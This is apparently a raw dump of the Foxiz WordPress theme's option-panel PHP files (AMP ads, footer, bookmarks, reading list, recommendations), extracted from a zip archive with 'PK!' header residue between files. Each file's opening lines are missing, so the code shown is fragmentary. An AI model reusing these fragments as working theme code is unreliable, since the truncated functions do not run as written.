'amp_bottom_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Bottom - Data Ad Slot', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-slot number ID.', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_bottom_single_adsense_size', 'type' => 'select', 'required' => array( 'amp_bottom_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Bottom - Adsense Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size for this ad.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Responsive --', 'foxiz' ), '2' => esc_html__( 'Fixed Height (90px)', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_bottom_single_ad_code', 'type' => 'textarea', 'required' => array( 'amp_bottom_single_ad_type', '=', '2' ), 'title' => esc_html__( 'Bottom - AMP Custom Ad Script', 'foxiz' ), 'subtitle' => esc_html__( 'Input your AMP custom ad script.', 'foxiz' ), 'default' => '' ), array( 'id' => 'section_end_amp_bottom_single_advert', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_amp_inline_single_advert', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Inline Single Content Ad Settings', 'foxiz' ), 'indent' => true ), array( 'id' => 'amp_inline_single_ad_type', 'type' => 'select', 'title' => esc_html__( 'Inline - Ad Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select your ad type to display at the bottom single content.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Adsense --', 'foxiz' ), '2' => esc_html__( 'AMP Custom Script Ad', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_inline_single_adsense_client', 'type' => 'text', 'required' => array( 'amp_inline_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Inline - Data Ad Client', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-client number ID (without ca-pub-).', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_inline_single_adsense_slot', 'type' => 'text', 'required' => array( 'amp_inline_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Inline - Data Ad Slot', 'foxiz' ), 'subtitle' => esc_html__( 'Input the data-ad-slot number ID.', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_inline_single_adsense_size', 'type' => 'select', 'required' => array( 'amp_inline_single_ad_type', '=', '1' ), 'title' => esc_html__( 'Inline - Adsense Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a size for this ad.', 'foxiz' ), 'options' => array( '1' => esc_html__( '-- Responsive --', 'foxiz' ), '2' => esc_html__( 'Fixed Height (90px)', 'foxiz' ), ), 'default' => 1 ), array( 'id' => 'amp_inline_single_ad_code', 'type' => 'textarea', 'required' => array( 'amp_inline_single_ad_type', '=', '2' ), 'title' => esc_html__( 'Inline - AMP Custom Ad Script', 'foxiz' ), 'subtitle' => esc_html__( 'Input your AMP custom ad script.', 'foxiz' ), 'default' => '' ), array( 'id' => 'amp_ad_single_positions', 'type' => 'text', 'title' => esc_html__( 'Display Positions', 'foxiz' ), 'subtitle' => esc_html__( 'Input a position (after x paragraphs) to display your ads.', 'foxiz' ), 'description' => esc_html__( 'Allow multiple positions, separated by commas. For example: 4,9', 'foxiz' ), 'default' => '4' ), array( 'id' => 'section_end_amp_inline_single_advert', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } PK!ZMIOpanels/blocks.phpnu[ 'foxiz_config_section_block_design', 'title' => esc_html__( 'Standard Blog Design', 'foxiz' ), 'icon' => 'el el-puzzle' ); } } PK!(?~  panels/general.phpnu[ 'foxiz_config_section_general', 'title' => esc_html__( 'General', 'foxiz' ), 'desc' => esc_html__( 'General settings for your website.', 'foxiz' ), 'icon' => 'el el-icon-globe', 'fields' => array( array( 'id' => 'site_tooltips', 'type' => 'switch', 'title' => esc_html__( 'Tooltips', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable tooltips when hovering on icons.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'back_top', 'type' => 'switch', 'title' => esc_html__( 'Back to Top', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the back to top button.', 'foxiz' ), 'description' => esc_html__( 'The back to top will be invisible on the mobile because it is not helpful.', 'foxiz' ), 'switch' => true, 'default' => 1 ), array( 'id' => 'search_placeholder', 'type' => 'textarea', 'title' => esc_html__( 'Global Search Placeholder', 'foxiz' ), 'subtitle' => esc_html__( 'Input default placeholder text for the search form, leave blank to set it as the default.', 'foxiz' ), 'placeholder' => esc_html__( 'Search Headlines, News...', 'foxiz' ), ) ) ); } } /** backup & restore theme options */ if ( ! function_exists( 'foxiz_register_options_backup' ) ) { function foxiz_register_options_backup() { return array( 'id' => 'foxiz_config_section_backup', 'title' => esc_html__( 'Restore/Backup', 'foxiz' ), 'desc' => esc_html__( 'Backup all your settings to a file or restore your settings.', 'foxiz' ), 'icon' => 'el el-inbox', 'fields' => array( array( 'id' => 'ruby-import-export', 'type' => 'import_export', 'title' => esc_html__( 'Restore/Backup Theme Options', 'foxiz' ), 'subtitle' => esc_html__( 'We recommend you should create a backup before updating or major changes.', 'foxiz' ), 'full_width' => false, ) ) ); } } PK!##panels/footer.phpnu[ 'foxiz_config_section_footer', 'title' => esc_html__( 'Footer', 'foxiz' ), 'desc' => esc_html__( 'Select options for your website footer. Navigate to Appearance > Widgets to add widgets to footer sections.', 'foxiz' ), 'icon' => 'el el-credit-card', 'fields' => array( array( 'id' => 'section_start_footer_style', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Footer Style', 'foxiz' ), 'indent' => true ), array( 'id' => 'footer_background', 'type' => 'background', 'transparent' => false, 'title' => esc_html__( 'Footer Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background for the footer: image, color, etc', 'foxiz' ), 'default' => array( 'background-color' => '#88888812' ) ), array( 'id' => 'dark_footer_background', 'type' => 'background', 'transparent' => false, 'title' => esc_html__( 'Dark Mode - Footer Background', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background for the footer in the dark mode: image, color, etc', 'foxiz' ) ), array( 'id' => 'footer_dot', 'type' => 'switch', 'title' => esc_html__( 'Left Dotted Style', 'foxiz' ), 'subtitle' => esc_html__( 'A dotted area for display at the left of the footer.', 'foxiz' ), 'default' => true ), array( 'id' => 'footer_border', 'type' => 'switch', 'title' => esc_html__( 'Top Border', 'foxiz' ), 'subtitle' => esc_html__( 'Show a gray border a the top footer.', 'foxiz' ), 'description' => esc_html__( 'It will be helpful if you have not set up footer background.', 'foxiz' ), 'default' => false ), array( 'id' => 'footer_color_scheme', 'type' => 'select', 'title' => esc_html__( 'Text Color Scheme', 'foxiz' ), 'subtitle' => esc_html__( 'Select a text color scheme for the footer.', 'foxiz' ), 'description' => esc_html__( 'Text color scheme will be set to light in the dark mode.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Default (Dark Text)', 'foxiz' ), '1' => esc_html__( 'Light Text', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_footer_style', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_footer_widget_section', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Footer Widget Section', 'foxiz' ), 'subtitle' => array( esc_html__( 'Select "Use Ruby Template" under the "Footer Widgets Layout" setting if you use Ruby Template shortcode.', 'foxiz' ), esc_html__( '"Column Border" and "Widget Menu Font Size" and "Text Color Scheme" will not apply to Ruby template shortcode.', 'foxiz' ), ), 'indent' => true ), array( 'id' => 'footer_layout', 'type' => 'select', 'title' => esc_html__( 'Footer Widgets Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the footer widget area.', 'foxiz' ), 'description' => esc_html__( 'To add content, please navigate to Appearance > Widgets.', 'foxiz' ), 'options' => array( '0' => esc_html__( '4 Columns (3/2/2/3)', 'foxiz' ), '5' => esc_html__( '5 Columns (1/1/1/1/1)', 'foxiz' ), '51' => esc_html__( '5 Columns (40/15/15/15/15)', 'foxiz' ), '3' => esc_html__( '3 Columns (1/2/1)', 'foxiz' ), 'shortcode' => esc_html__( 'Use Ruby Template', 'foxiz' ), 'none' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '5' ), array( 'id' => 'footer_column_border', 'type' => 'switch', 'title' => esc_html__( 'Column Border', 'foxiz' ), 'subtitle' => esc_html__( 'Show gray borders between widget columns.', 'foxiz' ), 'default' => false ), array( 'id' => 'footer_columns_size', 'type' => 'text', 'title' => esc_html__( 'Widget Menu Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Input a font size value (in px) for the default menu widgets are displaying in the footer.', 'foxiz' ), 'description' => esc_html__( 'Leave blank if you use the "Archive & Menu Widgets" font size setting.', 'foxiz' ), ), array( 'id' => 'footer_template_shortcode', 'type' => 'textarea', 'title' => esc_html__( 'Footer Widgets - Template Shortcode', 'foxiz' ), 'placeholder' => esc_html__( '[Ruby_E_Template id="1"]', 'foxiz' ), 'subtitle' => esc_html__( 'Input your template shortcode you would like to use Elementor builder.', 'foxiz' ), 'rows' => '2', 'default' => '', ), array( 'id' => 'section_end_footer_widget_section', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_footer_bottom', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Footer Bottom Section', 'foxiz' ), 'indent' => true ), array( 'id' => 'footer_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Footer Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a small logo to display at bottom of the footer.', 'foxiz' ) ), array( 'id' => 'dark_footer_logo', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Dark Mode - Copyright Logo', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a small dark logo to display at bottom of the footer in the dark mode.', 'foxiz' ) ), array( 'id' => 'footer_logo_height', 'type' => 'text', 'title' => esc_html__( 'Logo Height', 'foxiz' ), 'subtitle' => esc_html__( 'Input a height for value for the footer logo, Default is 50px.', 'foxiz' ) ), array( 'id' => 'footer_social', 'type' => 'switch', 'title' => esc_html__( 'Social Icons', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the social list in this section.', 'foxiz' ), 'default' => true ), array( 'id' => 'footer_bottom_center', 'type' => 'switch', 'title' => esc_html__( 'Centered Mode', 'foxiz' ), 'subtitle' => esc_html__( 'Centering this section.', 'foxiz' ), 'default' => false ), array( 'id' => 'section_end_footer_bottom', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_footer_copyright', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Copyright Section', 'foxiz' ), 'indent' => true ), array( 'id' => 'copyright', 'type' => 'textarea', 'title' => esc_html__( 'Copyright Text', 'foxiz' ), 'subtitle' => esc_html__( 'input your copyright text or HTML.', 'foxiz' ), 'rows' => '4', 'default' => '', ), array( 'id' => 'footer_menu', 'type' => 'select', 'title' => esc_html__( 'Copyright Menu', 'foxiz' ), 'subtitle' => esc_html__( 'Select a menu to display in the footer copyright bar.', 'foxiz' ), 'description' => esc_html__( 'Navigate to Typography > Archive & Menu Widgets > Footer Menus to set the font values.', 'foxiz' ), 'data' => 'menus' ), array( 'id' => 'footer_copyright_text_size', 'type' => 'text', 'title' => esc_html__( 'Copyright - Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Input a font size value (in px) for the copy right text.', 'foxiz' ), ), array( 'id' => 'footer_copyright_size', 'type' => 'text', 'title' => esc_html__( 'Copyright Menu - Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Input a font size value (in px) for the footer copyright menu.', 'foxiz' ), 'description' => esc_html__( 'Leave blank if you use the "Archive & Menu Widgets" font size setting.', 'foxiz' ), ), array( 'id' => 'section_end_footer_copyright', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } PK![panels/bookmark.phpnu[ esc_html__( 'Bookmark System', 'foxiz' ), 'id' => 'foxiz_config_section_bookmark', 'desc' => esc_html__( 'Select settings for the bookmark system.', 'foxiz' ), 'icon' => 'el el-bookmark', ); } } if ( ! function_exists( 'foxiz_register_options_bookmark_general' ) ) { /** * @return array */ function foxiz_register_options_bookmark_general() { return array( 'title' => esc_html__( 'General', 'foxiz' ), 'id' => 'foxiz_config_section_bookmark_general', 'desc' => esc_html__( 'Select general settings for the bookmark system.', 'foxiz' ), 'icon' => 'el el-cog', 'subsection' => true, 'fields' => array( array( 'id' => 'bookmark_system', 'type' => 'switch', 'title' => esc_html__( 'Bookmark System', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark feature. This is global option and will apply to whole the website.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'bookmark_notification', 'type' => 'switch', 'title' => esc_html__( 'Popup Notification', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the popup notification when users add or remove a post.', 'foxiz' ), 'default' => 1 ), array( 'id' => 'bookmark_enable_when', 'type' => 'select', 'title' => esc_html__( 'Enable When', 'foxiz' ), 'subtitle' => esc_html__( 'Allow or disallow guest users can bookmark posts.', 'foxiz' ), 'options' => array( '0' => esc_html__( 'Guest and Logged Users', 'foxiz' ), 'logged' => esc_html__( 'Only Logged Users', 'foxiz' ), 'ask_login' => esc_html__( 'Redirect to Login for Guest Users', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'bookmark_logged_redirect', 'type' => 'text', 'title' => esc_html__( 'Login Redirect URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input the redirect URL when user logged. Leave this option blank to set the default value.', 'foxiz' ), 'default' => '' ), array( 'id' => 'bookmark_expiration', 'type' => 'text', 'validate' => 'numeric', 'title' => esc_html__( 'Guest Bookmark Expiration', 'foxiz' ), 'subtitle' => esc_html__( 'Input max expiration (days) to save bookmarks for the guest users. Set 0 for no expiration.', 'foxiz' ), 'default' => '60' ) ) ); } } if ( ! function_exists( 'foxiz_register_options_bookmark_reading' ) ) { /** * @return array */ function foxiz_register_options_bookmark_reading() { $prefix = 'saved_'; return array( 'title' => esc_html__( 'Reading List', 'foxiz' ), 'id' => 'foxiz_config_section_bookmark_reading', 'desc' => esc_html__( 'Select settings for the reading list section.', 'foxiz' ), 'icon' => 'el el-bookmark', 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_bookmark_saved', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Reading List Header', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'heading', 'type' => 'text', 'title' => esc_html__( 'Section Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for this section.', 'foxiz' ), 'default' => esc_html__( 'Reading List', 'foxiz' ), ), array( 'id' => $prefix . 'description', 'type' => 'textarea', 'title' => esc_html__( 'Section Description', 'foxiz' ), 'subtitle' => esc_html__( 'Input description for this section.', 'foxiz' ), 'default' => esc_html__( 'you\'ll find all saved articles here.', 'foxiz' ), ), array( 'id' => $prefix . 'image', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Description Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a image for displaying at the top heading. Image height is 60px.', 'foxiz' ), ), array( 'id' => $prefix . 'image_dark', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Dark Mode - Description Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a image for displaying at the top heading in the dark mode.', 'foxiz' ), ), array( 'id' => $prefix . 'pattern', 'title' => esc_html__( 'Heading background Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background style for this heading.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_archive_header_bg(), 'default' => 'dot' ), array( 'id' => 'section_end_bookmark_saved', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_saved_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'layout', 'title' => esc_html__( 'Blog Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select blog listing layout for the saved pages.', 'foxiz' ), 'type' => 'image_select', 'options' => foxiz_config_blog_layout(), 'default' => 'grid_1' ), array( 'id' => $prefix . 'columns', 'title' => esc_html__( 'Columns on Desktop', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_tablet', 'title' => esc_html__( 'Columns on Tablet', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the tablet device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns(), 'default' => '0' ), array( 'id' => $prefix . 'columns_mobile', 'title' => esc_html__( 'Columns on Mobile', 'foxiz' ), 'subtitle' => esc_html__( 'Select total columns to show per row on the mobile device.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_columns( array( '0', '1', '2' ) ), 'default' => '0' ), array( 'id' => $prefix . 'column_gap', 'title' => esc_html__( 'Columns Gap', 'foxiz' ), 'subtitle' => esc_html__( 'Select a spacing between columns.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_blog_column_gap(), 'default' => '0' ), array( 'id' => 'section_end_saved_layout', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_saved_sidebar', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Sidebar', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'sidebar_position', 'type' => 'image_select', 'title' => esc_html__( 'Sidebar Position', 'foxiz' ), 'subtitle' => esc_html__( 'Select a sidebar position or disable it for the latest blog section', 'foxiz' ), 'options' => foxiz_config_sidebar_position(), 'default' => 'none' ), array( 'id' => $prefix . 'sidebar_name', 'type' => 'select', 'title' => esc_html__( 'Assign a Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Assign a widget section for the sidebar for the latest blog section if it is enabled.', 'foxiz' ), 'options' => foxiz_config_sidebar_name( false ), 'default' => 'foxiz_sidebar_default' ), array( 'id' => $prefix . 'sticky_sidebar', 'type' => 'select', 'title' => esc_html__( 'Sticky Sidebar', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable sticky sidebar feature. This setting applies to the category pages.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Enable', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ), ), 'default' => '0' ), array( 'id' => 'section_end_saved_sidebar', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_saved_design', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Design', 'foxiz' ), 'subtitle' => esc_html__( 'The theme will use "Standard Blog Design" settings to render block. You can override settings in the panel below.', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'crop_size', 'title' => esc_html__( 'Featured Image Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a featured image size to optimize with the columns setting.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_crop_size(), 'default' => '0' ), array( 'id' => $prefix . 'display_ratio', 'type' => 'text', 'title' => esc_html__( 'Custom Featured Ratio', 'foxiz' ), 'subtitle' => esc_html__( 'Input custom ratio percent (height*100/width) for featured image you would like. For example: 50', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'entry_category', 'title' => esc_html__( 'Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Select a layout for the entry category to display in the post listing.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_standard_entry_category( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_meta_bar', 'type' => 'select', 'title' => esc_html__( 'Entry Meta Bar', 'foxiz' ), 'subtitle' => esc_html__( 'Select settings for the entry meta bar.', 'foxiz' ), 'options' => foxiz_config_entry_meta_bar(), 'default' => '0', ), array( 'id' => $prefix . 'entry_meta', 'type' => 'select', 'multi' => true, 'title' => esc_html__( 'Entry Meta Tags', 'foxiz' ), 'required' => array( $prefix . 'entry_meta_bar', '=', 'custom' ), 'subtitle' => esc_html__( 'Organize how you want the entry meta to appear. Leave blank to set it as the default.', 'foxiz' ), 'options' => foxiz_config_entry_meta_tags(), 'default' => array(), ), array( 'id' => $prefix . 'review', 'type' => 'select', 'title' => esc_html__( 'Review Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for entry review meta.', 'foxiz' ), 'options' => foxiz_config_entry_review( true ), 'default' => '0' ), array( 'id' => $prefix . 'review_meta', 'type' => 'select', 'title' => esc_html__( 'Review Meta Description', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the meta description at the end of the review bar.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown( true ), 'default' => '0' ), array( 'id' => $prefix . 'entry_format', 'type' => 'select', 'title' => esc_html__( 'Post Format Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select setting for the post format.', 'foxiz' ), 'options' => foxiz_config_entry_format( true ), 'default' => '0' ), array( 'id' => $prefix . 'bookmark', 'type' => 'select', 'title' => esc_html__( 'Bookmark Icon', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the bookmark icon.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt', 'type' => 'select', 'title' => esc_html__( 'Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Disable or select settings for the post excerpt.', 'foxiz' ), 'options' => foxiz_config_excerpt_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_length', 'type' => 'text', 'class' => 'small-text', 'validate' => 'numeric', 'title' => esc_html__( 'Excerpt - Max Length', 'foxiz' ), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'subtitle' => esc_html__( 'select max length of the post excerpt.', 'foxiz' ), 'desc' => esc_html__( 'Leave this option blank or set 0 to disable.', 'foxiz' ), 'default' => '0' ), array( 'id' => $prefix . 'excerpt_source', 'title' => esc_html__( 'Excerpt - Source', 'foxiz' ), 'subtitle' => esc_html__( 'Where to get the post excerpt.', 'foxiz' ), 'description' => esc_html__('When you select "use title tagline". if it is empty, it will fallback to the post excerpt or content.', 'foxiz'), 'required' => array( $prefix . 'excerpt', '=', '1' ), 'type' => 'select', 'options' => foxiz_config_excerpt_source(), 'default' => 'tagline' ), array( 'id' => $prefix . 'readmore', 'type' => 'select', 'title' => esc_html__( 'Read More Button', 'foxiz' ), 'subtitle' => esc_html__( 'Enable or disable the read more button.', 'foxiz' ), 'options' => foxiz_config_switch_dropdown(), 'default' => '0' ), array( 'id' => $prefix . 'title_tag', 'title' => esc_html__( 'Title HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a title HTML tag for the post title.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0' ), array( 'id' => $prefix . 'title_size', 'title' => esc_html__( 'Desktop - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the desktop device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_tablet', 'title' => esc_html__( 'Tablet - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the table devices. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'title_size_mobile', 'title' => esc_html__( 'Mobile - Title Font Size', 'foxiz' ), 'subtitle' => esc_html__( 'Select a font size (px) for the post title in the mobile device. Leave blank to set it as the default.', 'foxiz' ), 'type' => 'text', 'default' => '' ), array( 'id' => $prefix . 'hide_category', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Entry Category', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the entry category on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), 'mobile' => esc_html__( 'On Mobile', 'foxiz' ), 'tablet' => esc_html__( 'On Tablet', 'foxiz' ), 'all' => esc_html__( 'On Tablet & Mobile', 'foxiz' ), '-1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => $prefix . 'mobile_hide_meta', 'type' => 'text', 'title' => esc_html__( 'Tablet - Hide Entry Meta', 'foxiz' ), 'subtitle' => esc_html__( 'Select entry meta you would like to hide on the mobile devices. In case long meta it would be useful.', 'foxiz' ), 'placeholder' => esc_html__( 'avatar,author', 'foxiz' ), 'default' => '' ), array( 'id' => $prefix . 'hide_excerpt', 'type' => 'select', 'title' => esc_html__( 'Responsive - Hide Excerpt', 'foxiz' ), 'subtitle' => esc_html__( 'Hide the post excerpt on the tablet and mobile devices.', 'foxiz' ), 'options' => array( '0' => esc_html__( '- Default -', 'foxiz' ), '1' => esc_html__( 'Disable', 'foxiz' ) ), 'default' => '0' ), array( 'id' => 'section_end_saved_design', 'type' => 'section', 'class' => 'ruby-section-end no-border', 'indent' => false ), ) ); } } if ( ! function_exists( 'foxiz_register_options_bookmark_interests' ) ) { /** * @return array */ function foxiz_register_options_bookmark_interests() { $prefix = 'interest_'; return array( 'title' => esc_html__( 'User Interests', 'foxiz' ), 'id' => 'foxiz_config_section_bookmark_interests', 'desc' => esc_html__( 'Select settings for the user interests section.', 'foxiz' ), 'icon' => 'el el-heart', 'subsection' => true, 'fields' => array( array( 'id' => $prefix . 'heading', 'type' => 'text', 'title' => esc_html__( 'Section Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for this section.', 'foxiz' ), 'default' => esc_html__( 'Your Categories', 'foxiz' ), ), array( 'id' => $prefix . 'description', 'type' => 'textarea', 'title' => esc_html__( 'Section Description', 'foxiz' ), 'subtitle' => esc_html__( 'Input description for this section.', 'foxiz' ), 'default' => esc_html__( 'Follow categories that you\'re interested in', 'foxiz' ), ), array( 'id' => $prefix . 'image', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Description Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a image for displaying at the top heading. Image height is 60px.', 'foxiz' ), ), array( 'id' => $prefix . 'image_dark', 'type' => 'media', 'url' => true, 'preview' => true, 'title' => esc_html__( 'Dark Mode - Description Image', 'foxiz' ), 'subtitle' => esc_html__( 'Upload a image for displaying at the top heading in the dark mode.', 'foxiz' ), ), array( 'id' => $prefix . 'url', 'type' => 'text', 'title' => esc_html__( 'Follow Page URL', 'foxiz' ), 'subtitle' => esc_html__( 'Input the follow page URL for user can redirect to add their interests.', 'foxiz' ), 'default' => '#', ), array( 'id' => $prefix . 'pattern', 'title' => esc_html__( 'Heading background Style', 'foxiz' ), 'subtitle' => esc_html__( 'Select a background style for this heading.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_archive_header_bg(), 'default' => 'dot' ), ) ); } } if ( ! function_exists( 'foxiz_register_options_bookmark_recommended' ) ) { /** * @return array */ function foxiz_register_options_bookmark_recommended() { $prefix = 'recommended_'; return array( 'title' => esc_html__( 'Recommended', 'foxiz' ), 'id' => 'foxiz_config_section_bookmark_recommended', 'desc' => esc_html__( 'Select settings for the recommended section.', 'foxiz' ), 'icon' => 'el el-fire', 'subsection' => true, 'fields' => array( array( 'id' => 'section_start_recommended_heading', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Recommended Heading', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'blog_heading', 'type' => 'text', 'title' => esc_html__( 'Section Heading', 'foxiz' ), 'subtitle' => esc_html__( 'Input a heading for this section.', 'foxiz' ), 'default' => esc_html__( 'Recommended for You', 'foxiz' ), ), array( 'id' => $prefix . 'blog_heading_layout', 'title' => esc_html__( 'Heading Layout', 'foxiz' ), 'subtitle' => esc_html__( 'Select a heading layout for the heading.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_layout( true ), 'default' => '0', ), array( 'id' => $prefix . 'blog_heading_tag', 'title' => esc_html__( 'Heading HTML Tag', 'foxiz' ), 'subtitle' => esc_html__( 'Select a HTML tag for this heading.', 'foxiz' ), 'type' => 'select', 'options' => foxiz_config_heading_tag(), 'default' => '0', ), array( 'id' => $prefix . 'blog_heading_size', 'title' => esc_html__( 'Heading Font Size (Desktop)', 'foxiz' ), 'subtitle' => esc_html__( 'Input a custom font size value for this heading (px) on the desktop. Leave this option blank to set the default.', 'foxiz' ), 'type' => 'text', 'validate' => 'numeric', 'default' => '', ), array( 'id' => 'section_end_recommended_heading', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_recommended_pagination', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Blog Pagination', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'posts_per_page', 'title' => esc_html__( 'Posts per Page', 'foxiz' ), 'subtitle' => esc_html__( 'Select posts per page for this section.', 'foxiz' ), 'type' => 'text', 'validate' => 'numeric', 'default' => '9' ), array( 'id' => $prefix . 'pagination', 'title' => esc_html__( 'Pagination Type', 'foxiz' ), 'subtitle' => esc_html__( 'Select pagination type for this section.', 'foxiz' ), 'type' => 'select', 'options' => array( '0' => esc_html__( '- Disable -', 'foxiz' ), 'load_more' => esc_html__( 'Load More (Ajax)', 'foxiz' ), 'infinite_scroll' => esc_html__( 'Infinite Scroll (Ajax)', 'foxiz' ), ), 'default' => 'infinite_scroll' ), array( 'id' => 'section_end_recommended_pagination', 'type' => 'section', 'class' => 'ruby-section-end', 'indent' => false ), array( 'id' => 'section_start_recommended_layout', 'type' => 'section', 'class' => 'ruby-section-start', 'title' => esc_html__( 'Layout', 'foxiz' ), 'indent' => true ), array( 'id' => $prefix . 'layout', 'title' => esc_html__( 'Blog Layout', 